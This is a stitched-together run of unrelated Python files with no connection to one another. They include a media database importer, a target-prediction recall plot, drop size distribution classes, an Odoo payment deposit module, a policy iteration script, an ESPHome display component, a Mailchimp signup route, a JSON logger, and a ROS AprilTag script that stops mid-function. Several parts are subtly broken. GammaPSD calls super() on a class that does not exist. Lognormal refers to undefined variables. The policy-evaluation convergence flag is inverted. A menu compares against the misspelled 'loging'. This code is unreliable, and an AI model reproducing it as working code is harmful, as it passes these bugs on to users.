import sqlite3
import os
import json
from util import str_list_to_int

MEDIA_PATH = os.path.join("data", "media")
MEDIA_DB_PATH = os.path.join("data", "media.db")

def main():
    filelist = os.listdir(MEDIA_PATH)

    if filelist is None or (len(filelist)) <= 0:
        print("no files found")
        return

    filelist_int = str_list_to_int(filelist)
    filelist = [str(x) for x in sorted(filelist_int)]

    with sqlite3.connect(MEDIA_DB_PATH) as conn:
        cur = conn.cursor()
        for filename in filelist:
            with open(os.path.join(MEDIA_PATH, filename), "r") as mfile:
                for line in mfile.readlines():
                    data = json.loads(line)
                    if type(data) != dict:
                        continue
                    if "title" not in data:
                        data["title"] = ""
                    cur.execute("insert into media (type, title, url) values (?, ?, ?)",
                            (data["type"], data["title"], data["url"]))
        conn.commit()

if __name__ == "__main__":
    main()


import matplotlib.pyplot as plt
import pandas as pd
from sklearn.metrics import roc_curve, auc
import glob
from scipy import interp
import numpy as np
import os
import random
from matplotlib.ticker import FuncFormatter

def fsave(list_results, file, addn=False):
    if addn == True:
        list_results = [i+'\n' for i in list_results]
    with open(file, 'w') as f:
        f.writelines(list_results)
        f.close()

def fread(file, removen=True, remove1strow=False):
    with open(file, 'r') as f:
        contents = f.readlines()
        f.close()
    if removen == True:
        contents = [i.replace('\n','') for i in contents]
    if remove1strow == True:
        contents.pop(0)
    return contents

def calculate_single(id, method, results):
    with open('BindingDB_human_DATA.csv','r') as f:
        contents = f.readlines()
        f.close()
    targets = []

    for line in contents:
        if id == line.split(',')[0]:
            if float(line.split(',')[2]) < 10000:
                if not ':' in line.split(',')[3][:-1]:
                    targets.append(line.split(',')[3][:-1])
                else:
                    tmp_list = line.split(',')[3][:-1].split(':')
                    for tmp_i in tmp_list:
                        targets.append(tmp_i)
    unique_target_list = list(set(targets))
    unique_target_list = ['P27487', 'P23219', 'P16083', 'O75762', 'P35354', 'P05067', 'Q16678', 'P09884', 'P09917', 'P06276', 'P22303', 'P27338', 'O60341', 'P04798', 'Q13153', 'P21397', 'P11926', 'Q04206', 'P11511', 'P00519', 'P11274', 'P18031', 'P07711', 'P01106', 'P08183', 'P28907', 'P07339', 'P06239', 'Q07817', 'P09960', 'P14679', 'P08684', 'P03372', 'Q9BYT3', 'P17252', 'Q96EB6', 'Q8IXJ6', 'Q9NTG7', 'P00915', 'P00918', 'P07451', 'P22748', 'P35218', 'Q9Y2D0', 'P23280', 'P43166', 'Q16790', 'O43570', 'Q8N1Q1', 'Q9ULX7', 'Q16236', 'P02766']
    if '' in unique_target_list:
        unique_target_list.remove('')
    unique_target_length = len(unique_target_list)
    if method == 'SEA':
        with open('uID-Gene_name.tsv','r') as f:
            uID_Gene_list = f.readlines()
            f.close()
        for line in results:
            if 'HUMAN' not in line:
                results.remove(line)
        count = 0
        x_list = [0]
        y_list = [0]
        appeared_list = []
        Gene_uID_SEA_results = []
        for index in range(len(results)):
            whole_gene_id = results[index].split(',')[1]
            gene_id = whole_gene_id.split('_')[0]
            # print(gene_id)
            for gene_uID in uID_Gene_list:
                if gene_id in gene_uID:
                    Gene_uID_SEA_results.append(gene_uID)
        # print(Gene_uID_SEA_results)
        for index in range(len(Gene_uID_SEA_results)):
            for uID in unique_target_list:
                if uID in Gene_uID_SEA_results[index]:
                    if uID not in appeared_list:
                        appeared_list.append(uID)
                        count += 1
                        y_list.append(count/len(unique_target_list))
                        x_list.append(index/len(Gene_uID_SEA_results))
                    elif uID in appeared_list:
                        pass
        x_list.append(1)
        y_list.append(y_list[-1])
    elif method == 'Swiss':
        count = 0
        x_list = [0]
        y_list = [0]
        appeared_list = []
        for index in range(len(results)):
            for uID in unique_target_list:
                if uID in results[index]:
                    if uID not in appeared_list:
                        appeared_list.append(uID)
                        count += 1
                        y_list.append(count/len(unique_target_list))
                        x_list.append(index/len(results))
                    elif uID in appeared_list:
                        pass
        x_list.append(1)
        y_list.append(y_list[-1])
    elif method == 'MAI_30000_docking':
        if id == '6866':
            pass
        else:
            count = 0
            x_list = [0]
            y_list = [0]
            appeared_list = []
            for index in range(len(results)):
                for uID in unique_target_list:
                    if uID in results[index]:
                        if uID not in appeared_list:
                            appeared_list.append(uID)
                            count += 1
                            y_list.append(count/len(unique_target_list))
                            x_list.append(index/len(results))
                        elif uID in appeared_list:
                            pass
            x_list.append(1)
            y_list.append(y_list[-1])
    elif method == 'MAI_30000_params':
        if id =='6866':
            pass
        else:
            file = f'30000_resveratrol_hybrid_results_sorted'
            with open(file, 'r') as f:
                results = f.readlines()
                f.close()
            count=0
            x_list = [0]
            y_list = [0]
            appeared_list = []
            for index in range(len(results)):
                for uID in unique_target_list:
                    if uID in results[index]:
                        if uID not in appeared_list:
                            appeared_list.append(uID)
                            count += 1
                            y_list.append(count/len(unique_target_list))
                            x_list.append(index/len(results))
                        elif uID in appeared_list:
                            pass
            x_list.append(1)
            y_list.append(y_list[-1])
    return [x_list, y_list]

Swiss_results = fread('SwissTargetPrediction.csv', remove1strow=True)
SEA_results = fread('SEA-resutls.csv', remove1strow=True)
MAI_TF_results = fread('MAI_TargetFisher_results.csv', remove1strow=True)
[swiss_x, swiss_y] = calculate_single('23926', 'Swiss', Swiss_results)
[SEA_x, SEA_y] = calculate_single('23926', 'SEA', SEA_results)
[MAI_x, MAI_y] = calculate_single('23926', 'MAI_30000_docking', MAI_TF_results)
[MAI_h_x, MAI_h_y] = calculate_single('23926', 'MAI_30000_params', None)

from matplotlib.ticker import FuncFormatter
plt.figure(figsize = (6.4,4.8), dpi = 300)
plt.xlim([0,1])
plt.ylim([0,1])
plt.rc('font', family='Helvetica')
def to_percent(temp, position):
  return '%1.0f'%(100*temp) + '%'
plt.gca().yaxis.set_major_formatter(FuncFormatter(to_percent))
plt.gca().xaxis.set_major_formatter(FuncFormatter(to_percent))
plt.plot(MAI_h_x, MAI_h_y, label='MAI-TargetFisher_weighted', linewidth=3,  color='#E47C7C')
plt.plot(MAI_x, MAI_y, label='MAI-TargetFisher_unweighted', linewidth=3, color=(0.22, 0.50, 0.57))
plt.plot(SEA_x, SEA_y, label='SEA', color=(0.96, 0.73, 0.47))
plt.plot(swiss_x, swiss_y, label='SwissTarget', linewidth=3, color=(0.56, 0.77, 0.58))
plt.title(f'Average recall rate of test dataset', fontsize='19')
plt.xlabel('Result', fontsize='16')
plt.ylabel('Identified Tatgets', fontsize='16')
plt.xticks(size='12')
plt.yticks(size='12')
font_legend={'family' : 'Helvetica','style':'normal', 'weight':'bold'}
plt.legend(loc='best', markerfirst=False, shadow=True, fancybox=True, prop=font_legend)
plt.savefig(f'ave_all_4_methods_nolegand.eps')


"""
Proyecto MySql y python
-abrir asistente
-login
-registrar
-login
-crea, muestra y elimina una nota
"""
from usuarios import acciones

print("""
Acciones disponibles:
    -Registro
    -Login
""")

hazEl= acciones.Acciones()

accion = input("¿Qué quieres hacer?:")

if accion=="registro":
    hazEl.registro()

elif accion=="loging":
    hazEl.login()


import numpy as np
from scipy.special import gamma

def between(x, y, xmin, xmax):
    """
    Set to zero the values of x that are outside the interval [xmin, xmax]

    Args:
        x (array-like): The coordinates of the array to be cut
        y (array-like): The array to be cut
        xmin (scalar): The minimum value of x
        xmax (scalar): The maximum value of x

    Returns:
        y (array-like): values outside of the domain [xmin, xmax] are set to 0
    """

    return np.heaviside(x-xmin,1)*np.heaviside(-x-xmax,1)*y

class DSD(object):
    def __init__(self, Dmin=0.0, Dmax=np.inf):

        if (Dmin > Dmax):
            raise AttributeError('The minimum size of any distribution must be \
                                  smaller then its maximum size, passed Dmin is\
                                  larger than Dmax')
        if (Dmin < 0):
            raise AttributeError('Dmin < 0 implies that negative diameters are \
                                  possible whereas DSDs domains are strictly \
                                  semidefinite positive')
        self.Dmin = Dmin
        self.Dmax = Dmax

    def __call__(self, D):
        if np.shape(D) == ():
            return 0.0
        else:
             return np.zeros_like(D)

    def generator(self, N):
        """
        Generate N samples of the distribution (probably easiest method is
        the cumulative normalized)
        """
        pass

    def normalizedCumulative(self):
        """
        Numerical method to implement cumulative distribution
        """
        pass

    def moment(self, x, N=1.e5):
        """
        Calculate numerically the moment of order x from N samples
        """

class InverseExponential(DSD):
    """Inverse exponential drop size distribution (DSD).

    Callable class to provide an inverse exponential DSD:
    N(D) = N0 * exp(-Lambda*D)

    Attributes:
        N0: the intercept parameter
        Lambda: the inverse scale parameter
        D_max: the maximum diameter to consider (defaults to 11/Lambda,
            i.e. approx. 3*D0, if None) # TODO: set to 99% of DSD volume

    Args (call):
        D: the particle diameter.

    Returns (call):
        The PSD value for the given diameter.
        Returns 0 for all diameters larger than D_max.
    """

    def __init__(self, N0=1.0, Lambda=1.0, D_max=None):
        self.N0 = float(N0)
        self.Lambda = float(Lambda)
        self.D_max = 11.0/Lambda if D_max is None else D_max

    def __call__(self, D):
        psd = self.N0 * np.exp(-self.Lambda*D)
        if np.shape(D) == ():
            if D > self.D_max:
                return 0.0
        else:
            psd[D > self.D_max] = 0.0
        return psd

class GammaPSD(InverseExponential):
    """Unnormalized Gamma drop size distribution (DSD).

    Callable class to provide an gamma DSD with the given parameters:
    N(D) = N0 * D**mu * exp(-Lambda*D)

    Attributes:
        N0: the intercept parameter.
        Lambda: the inverse scale parameter
        mu: the shape parameter
        D_max: the maximum diameter to consider (defaults to 11/Lambda,
            i.e. approx. 3*D0, if None)

    Args (call):
        D: the particle diameter.

    Returns (call):
        The PSD value for the given diameter.
        Returns 0 for all diameters larger than D_max.
    """

    def __init__(self, N0=1.0, Lambda=1.0, mu=0.0, D_max=None):
        super(UnnormalizedGammaPSD, self).__init__(N0=N0, Lambda=Lambda,
            D_max=D_max)
        self.mu = mu

    def __call__(self, D):
        # For large mu, this is better numerically than multiplying by D**mu
        psd = self.N0 * np.exp(self.mu*np.log(D)-self.Lambda*D)
        if np.shape(D) == ():
            if (D > self.D_max) or (D==0):
                return 0.0
        else:
            psd[(D > self.D_max) | (D == 0)] = 0.0
        return psd

class Lognormal(DSD):
    """Lognormal drop size distribution (DSD)

    Callable object to provide a lognormal drop size distribution with the given
    parameters

    The DSD form is:
    N(D) = Nt/(sqrt(2*pi)*g(D-theta)) * exp(-(ln(D-theta)-mu)**2 / (2*sigma**2))

    Attributes:
        Nt:
        g:
        theta:
        mu:
        sigma:

    """

    def __init__(self, Nt=1., g=1., theta=1., mu=0., sigma=1.):
        """
        """
        self.Nt = Nt
        self.g = g
        self.theta = theta
        self.mu = mu
        self.sigma = sigma

    def __call__(self, D):
        coeff = Nt/(np.sqrt(2*np.pi) * g * (D - theta))
        expon = np.exp(-(np.log(D - theta) -mu)**2 / (2. * sigma**2))
        psd = coeff * expon
        psd[D > Dmax] = 0.0
        psd[D < Dmin] = 0.0
        return psd

class NormalizedGamma(DSD):
    """Normalized gamma particle size distribution (DSD).

    Callable class to provide a normalized gamma DSD with the given
    parameters.

    TODO: the value of 3.67 comes from observation that RR is proportional to
    3.67th moment of the DSD, not sure if that is still ok

    The PSD form is:
    N(D) = Nw * f(mu) * (D/D0)**mu * exp(-(3.67+mu)*D/D0)
    f(mu) = 6/(3.67**4) * (3.67+mu)**(mu+4)/Gamma(mu+4)

    Attributes:
        D0: the median volume diameter.
        Nw: the intercept parameter.
        mu: the shape parameter.
        D_max: the maximum diameter to consider (defaults to 3*D0 when
            if None)

    Args (call):
        D: the particle diameter.

    Returns (call):
        The DSD value for the given diameter.
        Returns 0 for all diameters larger than D_max.
    """

    def __init__(self, D0=1.0, Nw=1.0, mu=0.0, D_max=None):
        self.D0 = float(D0)
        self.mu = float(mu)
        self.D_max = 3.0*D0 if D_max is None else D_max
        self.Nw = float(Nw)
        self.nf = Nw * 6.0/3.67**4 * (3.67+mu)**(mu+4)/gamma(mu+4)

    def __call__(self, D):
        d = (D/self.D0)
        psd = self.nf * np.exp(self.mu*np.log(d)-(3.67+self.mu)*d)
        if np.shape(D) == ():
            if (D > self.D_max) or (D==0.0):
                return 0.0
        else:
            psd[(D > self.D_max) | (D==0.0)] = 0.0
        return psd

class Binned(DSD):
    """Binned drop size distribution (DSD).

    Binned DSD given the bin edges and DSD values per bin.

    Args (constructor):
        The first argument to the constructor should specify n+1 bin edges,
        and the second should specify n bin_psd values.

    Args (call):
        D: the particle diameter.

    Returns (call):
        The PSD value for the given diameter.
        Returns 0 for all diameters outside the bins.
    """

    def __init__(self, bin_edges, bin_psd):
        if len(bin_edges) != len(bin_psd)+1:
            raise ValueError("There must be n+1 bin edges for n bins.")

        self.bin_edges = bin_edges
        self.bin_psd = bin_psd

    def psd_for_D(self, D):
        if not (self.bin_edges[0] < D <= self.bin_edges[-1]):
            return 0.0

        # binary search for the right bin
        start = 0
        end = len(self.bin_edges)
        while end-start > 1:
            half = (start+end)//2
            if self.bin_edges[start] < D <= self.bin_edges[half]:
                end = half
            else:
                start = half

        return self.bin_psd[start]

    def __call__(self, D):
        if np.shape(D) == (): # D is a scalar
            return self.psd_for_D(D)
        else:
            return np.array([self.psd_for_D(d) for d in D])


# -*- coding: utf-8 -*-

from odoo import models, fields, api, _
from odoo.exceptions import UserError, ValidationError

class AccountPayment(models.Model):
    _inherit = 'account.payment'

    is_deposit_customization = fields.Boolean()
    phd_payment_deposit_ids = fields.One2many('phd.payment.deposit', 'payment_id')
    total_deposit_amount = fields.Monetary(compute='_compute_total_deposit_amount')
    custom_journal_id = fields.Many2one('account.journal', string='Journal',
                                        readonly=True, states={'draft': [('readonly', False)]})
    is_credit_card_charges = fields.Boolean()
    credit_card_holder_id = fields.Many2one('res.partner')
    credit_card_transaction_id = fields.Char(string='Transaction ID')
    appears_on_statement_as = fields.Char(string='Appears on Statement As')
    partner_card_holder_id = fields.Many2one('res.partner', string='Card Holder')
    extended_details = fields.Char(string='Extended Details')

    @api.model
    def load_views(self, views, options=None):
        res = super(AccountPayment, self).load_views(views, options=options)
        if self.env.context.get('default_is_credit_card_charges', False) and self.env.context.get('default_payment_type', False):
            if 'fields_views' in res and 'form' in res['fields_views'] and 'fields' in res['fields_views']['form'] and 'journal_id' in res['fields_views']['form']['fields']:
                res['fields_views']['form']['fields']['journal_id'].update({
                    'context': {
                        'is_credit_card_charge': True,
                        'default_payment_type': self.env.context.get('default_payment_type')
                    },
                })
        return res

    @api.depends('phd_payment_deposit_ids', 'phd_payment_deposit_ids.price_subtotal')
    def _compute_total_deposit_amount(self):
        for record in self:
            if record.phd_payment_deposit_ids:
                record.total_deposit_amount = sum(line.price_subtotal for line in record.phd_payment_deposit_ids)
            else:
                record.total_deposit_amount = 0.0

    def post_deposit(self):
        self.ensure_one()
        if self.total_deposit_amount <= 0:
            raise ValidationError(_('Payment Amount must be greater than 0'))
        if self and self.is_deposit_customization:
            AccountMove = self.env['account.move'].with_context(default_type='entry')
            # keep the name in case of a payment reset to draft
            if not self.name:
                # Use the right sequence to set the name
                if self.payment_type == 'transfer':
                    sequence_code = 'account.payment.transfer'
                else:
                    if self.partner_type == 'customer':
                        if self.payment_type == 'inbound':
                            sequence_code = 'account.payment.customer.invoice'
                        if self.payment_type == 'outbound':
                            sequence_code = 'account.payment.customer.refund'
                    if self.partner_type == 'supplier':
                        if self.payment_type == 'inbound':
                            sequence_code = 'account.payment.supplier.refund'
                        if self.payment_type == 'outbound':
                            sequence_code = 'account.payment.supplier.invoice'
                self.name = self.env['ir.sequence'].next_by_code(sequence_code, sequence_date=self.payment_date)
                if not self.name and self.payment_type != 'transfer':
                    raise UserError(_("You have to define a sequence for %s in your company.") % (sequence_code,))
            AccountMove.create(self._prepare_payment_deposit_moves())
        if self.move_line_ids:
            self.move_line_ids[0].move_id.filtered(lambda move: move.journal_id.post_at != 'bank_rec').post()
            # Update the state / move before performing any reconciliation.
            move_name = self._get_move_name_transfer_separator().join(self.move_line_ids[0].move_id.mapped('name'))
            self.write({'state': 'posted', 'move_name': move_name})

    def _prepare_payment_deposit_moves(self):
        if self.payment_type == 'outbound':
            liquidity_line_account = self.journal_id.default_debit_account_id
        else:
            liquidity_line_account = self.journal_id.default_credit_account_id

        move_vals = {
            'date': self.payment_date,
            'ref': self.communication,
            'journal_id': self.custom_journal_id.id if not self.is_credit_card_charges else self.journal_id.id,
            'currency_id': self.custom_journal_id.currency_id.id or self.company_id.currency_id.id,
            'partner_id': self.partner_id.id,
            'line_ids': [],
        }
        # Liquidity line.
        liquidity_line_values = {
            'name': self.name,
            'amount_currency': 0.0,
            'currency_id': False,
            'credit_card_charges_payment_id': self.id,
            'is_credit_card_charges': self.is_credit_card_charges,
            'date_maturity': self.payment_date,
            'partner_id': self.partner_id.commercial_partner_id.id,
            'account_id': liquidity_line_account.id,
            'payment_id': self.id,
        }
        if self.is_credit_card_charges and self.partner_type == 'supplier':
            liquidity_line_values.update({
                'debit': self.total_deposit_amount if self.payment_type == 'inbound' else 0.0,
                'credit': self.total_deposit_amount if self.payment_type == 'outbound' else 0.0,
            })
        else:
            liquidity_line_values.update({
                'debit': self.total_deposit_amount if self.partner_type == 'customer' else 0.0,
                'credit': self.total_deposit_amount if self.partner_type == 'supplier' else 0.0,
            })
        move_vals.get('line_ids').append((0, 0, liquidity_line_values))

        for line in self.phd_payment_deposit_ids:
            vals = {
                'name': line.description,
                'amount_currency': 0.0,
                'currency_id': False,
                'credit_card_charges_payment_id': self.id,
                'is_credit_card_charges': self.is_credit_card_charges,
                'analytic_account_id': line.analytic_id.id,
                'analytic_tag_ids': [(6, 0, line.analytic_tag_ids.ids)],
                'debit': line.price_subtotal if self.partner_type == 'supplier' else 0.0,
                'credit': line.price_subtotal if self.partner_type == 'customer' else 0.0,
                'date_maturity': self.payment_date,
                'partner_id': self.partner_id.commercial_partner_id.id,
                'account_id': line.account_id.id,
                'payment_id': self.id,
            }
            if self.is_credit_card_charges and self.partner_type == 'supplier':
                vals.update({
                    'debit': line.price_subtotal if self.payment_type == 'outbound' else 0.0,
                    'credit': line.price_subtotal if self.payment_type == 'inbound' else 0.0,
                })
            else:
                vals.update({
                    'debit': line.price_subtotal if self.partner_type == 'supplier' else 0.0,
                    'credit': line.price_subtotal if self.partner_type == 'customer' else 0.0,
                })
            move_vals.get('line_ids').append((0, 0, vals))

        return move_vals

    def post(self):
        is_deposit_customization = False
        for record in self:
            if record.is_deposit_customization:
                is_deposit_customization = True
                record.post_deposit()
        if not is_deposit_customization:
            res = super(AccountPayment, self).post()
            return res


import numpy as np

class LineWorldEnv:
    def __init__(self):
        self.S = [0, 1, 2, 3, 4, 5, 6]
        self.A = [0, 1]
        self.R = [-1.0, 0.0, 1.0]

        self.p = np.zeros((len(self.S), len(self.A), len(self.S), len(self.R)))

        for s in self.S[1:-1]:
            if s == 1:
                self.p[s, 0, s - 1, 0] = 1.0
            else:
                self.p[s, 0, s - 1, 1] = 1.0

            if s == 5:
                self.p[s, 1, s + 1, 2] = 1.0
            else:
                self.p[s, 1, s + 1, 1] = 1.0

def action_value_function(lwe, V, pi, s, a, gamma):
    q = 0
    total = 0.0
    for s_p in lwe.S:
        for r in range(len(lwe.R)):
            total += lwe.p[s, a, s_p, r] * (lwe.R[r] + gamma * V[s_p])
    total *= pi[s, a]
    q += total

    return q

# Policy Evaluation
def policy_evaluation(lwe, pi, V, gamma, theta):
    V_updated = np.copy(V)
    improved = True

    while True:
        delta = 0
        for s in range(len(lwe.S)):
            V_new = 0

            for a in range(len(lwe.A)):
                prob_a = pi[s][a]
                q_s_a = action_value_function(lwe, V, pi, s, a, gamma)

                V_new += prob_a * q_s_a

            delta = max(delta, np.abs(V_new - V_updated[s]))
            V_updated[s] = V_new

        if delta < theta:
            break

    if np.any(V != V_updated):
        improved = False
    # if np.array_equal(V, V_updated):
        # improved = False

    return V_updated, improved

def policy_improvement(lwe, pi, V, gamma):
    for s in lwe.S:
        q_s = np.zeros([len(lwe.A)],)

        for a in lwe.A:
            q_s[a] = action_value_function(lwe, V, pi, s, a, gamma)

        best_action = np.argmax(q_s)
        pi[s] = np.eye(len(lwe.A))[best_action]
    return pi

def policy_iteration(lwe, pi, V, gamma, theta):
    k = 0
    while True:
        k += 1

        V, is_stable = policy_evaluation(lwe, pi, V, gamma, theta)
        pi = policy_improvement(lwe, pi, V, gamma)
        if is_stable is False:
            print("Finished after " + str(k) + " iterations.")
            break
    return V, pi

def Start():
    lwe = LineWorldEnv()
    pi = np.ones([len(lwe.S), len(lwe.A)]) * 0.5

    V = np.zeros([len(lwe.S), 1])
    gamma = 0.999
    theta = 0.0000001

    print("######################")
    print(policy_iteration(lwe, pi, V, gamma, theta))

Start()


import esphome.codegen as cg
import esphome.config_validation as cv
from esphome import pins
from esphome.components import display
from esphome.const import (
    CONF_ID,
    CONF_INVERT,
    CONF_LAMBDA,
    CONF_PAGES,
)

DEPENDENCIES = ["esp32"]

CONF_GREYSCALE = "greyscale"

t547_ns = cg.esphome_ns.namespace("t547")
T547 = t547_ns.class_(
    "T547", cg.PollingComponent, display.DisplayBuffer
)

CONFIG_SCHEMA = cv.All(
    display.FULL_DISPLAY_SCHEMA.extend(
        {
            cv.GenerateID(): cv.declare_id(T547),
            cv.Optional(CONF_GREYSCALE, default=False): cv.boolean,
            cv.Optional(CONF_INVERT, default=True): cv.boolean,
        }
    )
    .extend(cv.polling_component_schema("5s")),
    cv.has_at_most_one_key(CONF_PAGES, CONF_LAMBDA),
    cv.only_with_arduino,
)

async def to_code(config):
    var = cg.new_Pvariable(config[CONF_ID])

    await cg.register_component(var, config)
    await display.register_display(var, config)

    if CONF_LAMBDA in config:
        lambda_ = await cg.process_lambda(
            config[CONF_LAMBDA], [(display.DisplayBufferRef, "it")], return_type=cg.void
        )
        cg.add(var.set_writer(lambda_))

    cg.add(var.set_greyscale(config[CONF_GREYSCALE]))
    cg.add(var.set_invert(config[CONF_INVERT]))

    cg.add_build_flag("-DBOARD_HAS_PSRAM")


from core import app
from core.models.core.has_routes import HasRoutes

from core.models.auth.chimp import Chimp

from core.helpers.validation_rules import validation_rules
from core.helpers.json import to_json

from flask import request
from mailchimp3 import MailChimp

with app.app_context():
	class Newsletter(HasRoutes):

		endpoint = '/_newsletter'
		routes = [
			{
				'route': '/signup',
				'view_function': 'signup_view',
				'methods': ['POST']
			}
		]

		schema = {
			'email': validation_rules['email'],
			'shop': validation_rules['text']
		}

		@classmethod
		def signup_view(cls):
			data = cls.validate(cls._get_json_from_request())

			chimp = Chimp.get_where({'shop': data['shop']})
			client = MailChimp(chimp['username'], chimp['access_token'])

			try:
				response = client.lists.members.create(chimp['list_id'], {
					'email_address': data['email'],
					'status': 'subscribed'
				})

				return cls._format_response({
					'email': data['email'],
					'list_id': chimp['list_id'],
				})

			except Exception as e:
				return to_json({
					'email': data['email'],
					'list_id': chimp['list_id'],
					'error': e.response.json()['title']
				}, 400)


import re
import time
import os
from copy import deepcopy

import numpy as np
import json as js

class Logger(object):
  def __init__(self, filename=None, overwrite=True):
    self.filename = filename
    if filename is None:
      self.log_to_file = False
    else:
      self.log_to_file = True
      if overwrite:
        self.file_obj = open(filename, "w", buffering=1)
      else:
        self.file_obj = open(filename, "r+", buffering=1)
      self.file_obj.seek(0)

  def js_dumpstring(self, obj):
    """Dump json string with special NumpyEncoder"""
    return js.dumps(obj, sort_keys=True, indent=2, cls=NumpyEncoder)

  def log_trainable_variables(self, name_list):
    """
    Use logging to write names of trainable variables in model
    Inputs:
      name_list: list containing variable names
    """
    js_str = self.js_dumpstring(name_list)
    self.log_info("<train_vars>"+js_str+"</train_vars>")

  def log_params(self, params):
    """
    Use logging to write model params
    Inputs:
      params: [dict] containing parameters values
    """
    out_params = deepcopy(params)
    if "rand_state" in out_params.keys():
      del out_params["rand_state"]
    js_str = self.js_dumpstring(out_params)
    self.log_info("<params>"+js_str+"</params>")

  def log_schedule(self, sched):
    """Use logging to write current schedule"""
    js_str = self.js_dumpstring(sched)
    self.log_info("<schedule>"+js_str+"</schedule>")

  def log_info(self, string):
    """Log input string"""
    now = time.localtime(time.time())
    time_str = time.strftime("%m/%d/%y %H:%M:%S", now)
    out_str = "\n" + time_str + " -- " + str(string)
    if self.log_to_file:
      self.file_obj.write(out_str)
    else:
      print(out_str)

  def load_file(self, filename=None):
    """
    Load log file into memory
    Outputs:
      log_text: [str] containing log file text
    """
    if filename is None:
      self.file_obj.seek(0)
    else:
      self.file_obj = open(filename, "r", buffering=1)
    text = self.file_obj.read()
    return text

  def read_js(self, tokens, text):
    """
    Read js string encased by tokens and convert to python object
    Outpus:
      output: converted python object
    Inputs:
      tokens: [list] of length 2 with [0] entry indicating start token and [1]
        entry indicating end token
      text: [str] containing text to parse, can be obtained by calling load_file()
    TODO: Verify that js_matches is the same type for both conditionals at the end
      I believe js_matches should be a list at all times. That way when e.g. read_params
      is called the output is a list no matter how many params specifications there are
      in the logfile.
    """
    assert type(tokens) == list, ("Input variable tokens must be a list")
    assert len(tokens) == 2, ("Input variable tokens must be a list of length 2")
    matches = re.findall(re.escape(tokens[0])+"([\s\S]*?)"+re.escape(tokens[1]), text)
    if len(matches) > 1:
      js_matches = [js.loads(match) for match in matches]
    else:
      js_matches = [js.loads(matches[0])]
    return js_matches

  def read_trainable_variables(self, text):
    """
    Read params from text file and return as a dictionary
    Outpus:
      params: converted python object
    Inputs:
      text: [str] containing text to parse, can be obtained by calling load_file()
    """
    tokens = ["<train_vars>", "</train_vars>"]
    trainable_var_names = self.read_js(tokens, text)[-1]
    return trainable_var_names

  def read_params(self, text):
    """
    Read params from text file and return as a params object or list of params objects
    Outpus:
      params: converted python object
    Inputs:
      text: [str] containing text to parse, can be obtained by calling load_file()
    """
    tokens = ["<params>", "</params>"]
    params = self.read_js(tokens, text)
    param_list = []
    for param_dict in params:
      param_obj = type("param_obj", (), {})()
      for key, val in param_dict.items():
        setattr(param_obj, key, val)
      param_list.append(param_obj)
    return param_list

  def read_schedule(self, text):
    """
    Read schedule from text file and return as a list of dictionaries
    Outpus:
      schedule: converted python object
    Inputs:
      text: [str] containing text to parse, can be obtained by calling load_file()
    """
    tokens = ["<schedule>", "</schedule>"]
    return self.read_js(tokens, text)[-1]

  def read_stats(self, text):
    """
    Generate dictionary of lists that contain stats from log text
    Outpus:
      stats: [dict] containing run statistics
    Inputs:
      text: [str] containing text to parse, can be obtained by calling load_file()
    """
    tokens = ["<stats>", "</stats>"]
    js_matches = self.read_js(tokens, text)
    stats = {}
    for js_match in js_matches:
      if type(js_match) is str:
        js_match = {js_match:js_match}
      for key in js_match.keys():
        if key in stats:
          stats[key].append(js_match[key])
        else:
          stats[key] = [js_match[key]]
    return stats

  def __del__(self):
    if self.log_to_file and hasattr(self, "file_obj"):
      self.file_obj.close()

class NumpyEncoder(js.JSONEncoder):
  def default(self, obj):
    if(callable(obj)):
      return None
    elif(isinstance(obj, np.integer)):
      return int(obj)
    elif(isinstance(obj, np.floating)):
      return float(obj)
    elif(isinstance(obj, np.ndarray)):
      return obj.tolist()
    else:
      return super(NumpyEncoder, self).default(obj)


#!/usr/bin/env python
import os,sys,inspect
currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
parentdir = os.path.dirname(currentdir)
gparentdir = os.path.dirname(parentdir)
sys.path.insert(0,parentdir)
sys.path.insert(0,gparentdir)
import tf
import tf.transformations as tfm
import Helpers.ros_helper as rh
import rospy
import pdb
import json
import numpy as np
from std_msgs.msg import String
from sensor_msgs.msg import CameraInfo, Image
from geometry_msgs.msg import TransformStamped, PoseStamped, WrenchStamped

import matplotlib.pyplot as plt
from matplotlib import cm
import cv2
import sys
from cv_bridge import CvBridge, CvBridgeError
import roslib
# from franka_interface import ArmInterface
from apriltag_ros.msg import AprilTagDetectionArray
# import Modelling.ros_helper as ros_helper
# import franka_helper
from Modelling.system_params import SystemParams

def qp_debug_message_callback(data):
    global qp_debug_dict_list
    if data.data != '':
        qp_debug_dict = json.loads(data.data)
        qp_debug_dict_list.append(qp_debug_dict)

    if len(qp_debug_dict_list)>10:
        qp_debug_dict_list.pop(0)

def image_message_callback(data):
    global image_list

    image_list.append(data)
    if len(image_list) > 3:
        image_list.pop(0)

def camera_info_callback(data):
    global camera_info

    camera_info = data

def load_shape_data(name_in):
    curr_dir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
    parentdir = os.path.dirname(curr_dir)
    gparentdir = os.path.dirname(parentdir)
    print ('parentdir', parentdir)
    fname = os.path.join(parentdir, 'Modelling', 'shape_description', name_in+".json")
    f = open(fname)
    # f = open("/home/oneills/Documents/panda/base_ws/src/franka_ros_interface/franka_ros_controllers/scripts/models/shape_description/"+name_in+".json")
    shape_data = json.load(f)

    vertex_array = np.array([shape_data["x_vert"],shape_data["y_vert"]])
    apriltag_id = shape_data["apriltag_id"]
    apriltag_pos = shape_data["centroid_to_apriltag"]

    return vertex_array, apriltag_id ,apriltag_pos

def get_tranf_matrix():

    # Make listener to get camera transform
    listener = tf.TransformListener()
    rospy.sleep(.5)

    # panda hand pose in base frame WHEN TARING
    # (translate, quaternion) = \
    #     lookupTransform('/camera_color_optical_frame', 'base', listener)
    (translate, quaternion) = \
            rh.lookupTransform('/far_camera_color_optical_frame', 'base', listener)

    # Matrix for extrinsics
    extrinsics_matrix = np.linalg.inv(
        np.dot(tfm.compose_matrix(translate=translate),
               tfm.quaternion_matrix(quaternion)))

    # (3, 4) camera matrix
    camera_matrix = np.reshape(camera_info.P, (3,4))

    # Transformation matrix
    return np.dot(camera_matrix, extrinsics_matrix)

def apriltag_message_callback(apriltag_array):
    global apriltag_id
    global obj_apriltag_in_camera_pose
    global obj_apriltag_in_world_pose
    global base_in_base_pose
    global cam_in_base_pose
    global marker_pose_apriltag_frame
    global obj_orientation_matrix
    global object_detected

    obj_apriltag_list = [detection for detection in apriltag_array.detections if detection.id == (apriltag_id,)]

    if obj_apriltag_list:
        object_detected = True

        obj_apriltag_in_camera_pose = obj_apriltag_list[0].pose.pose

